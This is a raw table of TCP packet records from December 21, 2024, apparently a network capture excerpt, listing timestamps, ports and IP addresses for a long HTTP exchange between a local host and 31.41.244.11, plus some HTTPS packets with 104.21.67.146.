Dec 21, 2024 18:16:37.618758917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.618808985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.618891001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.618938923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.619925976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.619972944 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.620053053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.620098114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.621165991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.621212959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.621259928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.621306896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.622493982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.622545004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.622585058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.622633934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.623563051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.623613119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.623666048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.623709917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.625003099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.625096083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.625099897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.625149012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.625998974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.626051903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.626104116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.626151085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.627099037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.627147913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.627216101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.627264023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.628232956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.628282070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.628308058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.628356934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.629420042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.629471064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.629534960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.629580021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.630578041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.630628109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.630667925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.630714893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.631751060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.631805897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.631869078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.631916046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.632911921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.632961988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.633141041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.633191109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.634162903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.634207010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.634217024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.634263039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.635281086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.635325909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.635405064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.635456085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.636543036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.636590004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.636600018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.636647940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.637685061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.637742043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.637836933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.637886047 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.638813972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.638879061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.638950109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.638997078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.639997959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.640045881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.640132904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.640181065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.641372919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.641424894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.641460896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.641501904 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.642383099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.642433882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.642575026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.642625093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.643630028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.643666029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.643680096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.643712044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.644773960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.644830942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.644876957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.644926071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.645931005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.646035910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.646074057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.646125078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.647119045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.647169113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.647345066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.647391081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.648406029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.648456097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.648592949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.648643970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.649492979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.649543047 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.649590015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.649638891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.650639057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.650691032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.650733948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.650780916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.651916027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.651967049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.652045012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.652091980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.653009892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.653060913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.653140068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.653189898 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.654150963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.654201984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.654266119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.654314041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.655260086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.655309916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.753325939 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:37.753405094 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:37.753544092 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:37.753652096 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:37.753695965 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:37.753725052 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:37.753740072 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:37.785835028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.785888910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.785902977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.785940886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.786263943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.786312103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.786322117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.786365986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.787362099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.787419081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.787437916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.787486076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.788523912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.788577080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.788629055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.789674997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.789783001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.789845943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.789896965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.790915012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.790963888 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.791099072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.791182041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.792052984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.792104006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.792155981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.792202950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.793298006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.793344021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.793354988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.793464899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.794473886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.794528008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.794588089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.794636011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.795579910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.795639992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.795692921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.795739889 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.796740055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.796791077 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.796864986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.796911001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.797952890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.797996044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.798083067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.798130989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.799113035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.799163103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.799283981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.799329996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.800321102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.800371885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.800446033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.800494909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.801448107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.801493883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.801539898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.801595926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.802669048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.802723885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.802777052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.803890944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.803960085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.804035902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.804079056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.805296898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.805351019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.805399895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.805445910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.806274891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.806309938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.806328058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.806360006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.807348967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.807399988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.807455063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.807502985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.808667898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.808718920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.808866978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.808916092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.809686899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.809732914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.809858084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.809906960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.810996056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.811048985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.811073065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.811098099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.812078953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.812150002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.812184095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.812258959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.813219070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.813272953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.813354015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.813396931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.814554930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.814589024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.814640999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.815803051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.815881014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.815957069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.816816092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.816881895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.816982985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.817341089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.818059921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.818114042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.818166971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.819185972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.819246054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.819255114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.819307089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.820420027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.820455074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.820488930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.820516109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.821566105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.821602106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.821619034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.821645021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.822664976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.822715044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.822822094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.822873116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.823854923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.823935032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.824059963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.824135065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.825062037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.825117111 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.825170994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.825221062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.826318979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.826370955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.826472998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.826639891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.827423096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.827476025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.827522993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.827572107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.828592062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.828640938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.828710079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.828768015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.829739094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.829788923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.829947948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.830044031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.830925941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.831016064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.831064939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.831113100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.832101107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.832149982 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.832290888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.832371950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.833306074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.833357096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.833400011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.833447933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.834474087 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.834640026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.834728003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.834783077 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.835658073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.835714102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.835772038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.835814953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.836857080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.836921930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.836996078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.837088108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.838027000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.838088036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.838267088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.838323116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.839536905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.839603901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.839652061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.839699984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.840703011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.840766907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.840790033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.840831041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.841805935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.841855049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.841900110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.841950893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.843014956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.843070030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.843224049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.843275070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.844199896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.844235897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.844254971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.844290972 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.845383883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.845434904 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.845503092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.845632076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.846474886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.846528053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.846577883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.846750975 CET	49826	80	192.168.2.4	31.41.244.11
